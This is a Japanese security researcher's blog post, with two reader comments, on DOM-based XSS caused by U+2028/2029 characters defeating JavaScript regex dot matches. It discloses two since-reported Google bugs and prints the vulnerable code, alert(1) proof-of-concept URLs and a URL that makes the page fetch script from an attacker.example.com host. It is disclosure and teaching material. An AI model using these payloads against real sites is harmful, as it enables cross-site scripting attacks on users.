2013/09/17

U+2028/2029とDOM based XSS

ECMAScriptの仕様では、0x0A/0x0D以外にU+2028/2029の文字も改行とすることが明記されています。
これはあまり知られていないように思います。 以下はアラートを出します。
 
<script>
//[U+2028]alert(1)
</script>

知られていないだけでなく、知っていたとしても、スクリプトで文字列を処理するときに、U+2028/2029まで考慮する開発者がどれだけいるのかという話です。
実際、U+2028/2029を放り込むと文字列リテラル内にその文字が生のまま配置され、エラーが出るページは本当にたくさんあります。まあ、エラーがでるだけなら、大抵の場合大きな問題にはなりません。

ところが、U+2028/2029によってXSSが引き起こされてしまう場合というのを最近実際に見ました。
Googleのサービスで見つけた2つのケースを取り上げたいと思います。

ケース1. ChromeとIEで脆弱だった例

 以下はGoogle(tools.google.com)に存在した脆弱なコードです。URLは例です。


https://tools.google.com/foo/bar/install.html
var url = String(window.location);
var match = url.match(/(.*)www\.google\.com(.*\/install.html)/);
if (match) {
window.location = match[1]+"tools.google.com"+match[2];
}


正規表現でURLを取得し、リダイレクトをしようとしています。
コードを書いた人が期待するのは、おそらく、アクセスされたホストが  www.google.com だった場合に、ホスト tools.google.com の同じURLにリダイレクトさせるものだと思います。

この正規表現では残念ながら期待しないURLへのリダイレクトを許可してしまいます。
次のようなURLを与えられると、予想外のウェブページへのリダイレクトどころか、XSSが起きます。

https://tools.google.com/foo/bar/install.html#[U+2028]javascript:alert(1)//www.google.com/install.html

JavaScriptの正規表現の . (ドット) は改行以外のすべての文字にマッチします。この「改行」に当てはまるのは、0x0Dや0x0Aだけではないというのがポイントです。
URLに0x0D、0x0Aを直に含めることはできません。 ところが、U+2028/2029は、ChromeやIEの#以降において、エンコードせずに含めることができてしまうのです。
 これらの文字ははじめに書いたように、仕様上改行の扱いなので、 . (ドット) にマッチしません。ですので、上記URLの場合、後続の条件を含めた、改行を含まない0文字以上の繰り返し 「.*」 にマッチするのは「javascript:alert(1)//」ということになり、見事にjavascript: なURLを引っ張り出すことができてしまうという訳です。

以下でこのコードを確かめることができます。
http://vulnerabledoma.in/domxss_u2028u2029.html

以下でChromeやIE9以上でアクセスすると再現を確認できます。
PoC

ちなみに、IEの場合、IE9以降のドキュメントモードでないと .(ドット) がU+2028/2029にマッチしてしまう挙動があるようなので、動きません。

ケース2. IEだけが脆弱だった例

こんなコードのあるページがありました。

https://www.google.com/intl/en/nexus/features.html
 var a = window.location.toString();
return a.indexOf("intl") > -1 ? a.match("/(.*)/nexus/")[0] :
"/nexus/"

この処理でもらってきたURLにフラグメント以降の文字列を足してXMLHttpRequestを飛ばし、responseTextをページ中に書き出すだか、そんな処理をしていたと思います。

パス先頭の「/intl/en/」はGoogleのサービスのいろいろな箇所で使えるURLで、「en」だったら英語、「ja」だったら日本語で表示してくれたりと、その言語での表示の切りかえができるものです。

intlという文字列がURLに存在した場合の分岐後の処理にでてくる、「/(.*)/nexus/」の .* がここでも問題になります。「/nexus/」という文字列がでてくる前に スラッシュと 0文字以上の改行以外の繰り返し が存在することがマッチの条件です。この正規表現で期待されるURLは、最初のスラッシュは プロトコルとホストの区切りの「//」の先頭で、そこからパスの/nexus/がでてくるまでの文字列を拾ってくるというものだと思います。

さあ、これを騙すことができるでしょうか。

一番初めの報告では、僕が以前発見したAndroid 4.1未満のlocation.hrefのバグ( CVE-2012-3695 )を利用した場合にXSSが起きるだろうというものでした。
https://attacker%2Eexample%2Ecom%2Fnexus%2F@www.google.com/intl/en/nexus/features.html#/help
詳細は以前記事に書いた通り、認証情報を記述できるホストの前の@以前の文字列が、location.href中で勝手にデコードされて取得されるという問題です。
デコードされてしまうと、最終的にさっきの正規表現では、
//attacker.example.com/nexus/help

みたいなかんじの外部リソースが取得されてしまいます。こうなると、外部サイトで、Access-Control-Allow-Originを設定しておくことで、www.google.com上にresponseTextを通じて、スクリプトを含んだ文書を紛れ込ますことができてしまいます。

自分の過去の報告から考えても、GoogleはAndroidに残ったバグに起因するXSS対応には乗り気ではないかんじだったので、今回もこれじゃあ弱いなーと思いつつ一応の報告に至ったのですが、やはり反応はよくありませんでした。

その後、他のブラウザでもなんとかならないかとあれこれ考えていると、/intl/en/の「en」の部分にはほとんど自由に文字を入れられることに気が付きました。指定が変な場合は英語の文書が表示されるようです。

実は、IEは#以降以外にも、パス、クエリ部分も、エンコードしないで U+2028/2029 を含めることができてしまいます。

ならば、以下のようにすれば、一番はじめにでてくるスラッシュからnexusまでのマッチを回避できます。
https://www.google.com/intl/en[U+2028]/nexus/features.html?[U+2028]//attacker.example.com/nexus/#/help

少々ややこしいですが、正規表現のまどろっこしい文章説明をこれ以上繰り返すのはメンドイので、これで何がマッチされるか、よく見てみてください。
こうして、IEで動作することを証明できました。


はい、U+2028/2029で生じるDOM based XSSというのを紹介しました。

このXSSのわかりにくいところは、

・そもそもU+2028/2029が改行であることを知らない/忘れやすい
・URLに改行にあたる文字が入ることを意識しづらい

ことにあると思います。
まあ、改行がどうこうというより、Googleの例でも、かなりおおざっぱな正規表現のために失敗しているので、日ごろから厳密な正規表現を書くことを心がけていれば、混入する可能性はだいぶ少なくなると思います。

ちなみに、この2件の報告はGoogleの報酬制度の金額の増額が発表されたあとのものなので、前者は$3,133.7、後者は$5,000を頂いています。 金額の違いは存在したドメインの重要度の違いによるものです。

まとめ

U+2028/2029はJavaScript中で改行と同じ意味を持つ。
IEはURL中のパス・クエリ・フラグメントで、U+2028/2029をエンコードせずに含められる。
Chromeはフラグメント中でU+2028/2029をエンコードせずに含められる。
正規表現は可能な限り厳密に書こう。

2 件のコメント:

  1. U+2028/2029を直書きするにはどうすればいいのでしょうか。基本的な質問で申し訳ありません。
    コピペでも%\でも実行できないもので

    返信削除
    返信
    1. 別ページから以下のようにリンクするなり、

      <a href="http://example.com/#&#x2028;">Link</a>

      JavaScriptからリダイレクトするなり、

      <script>location="http://example.com/#\u2028"</script>

      すればできるかと思います。

      削除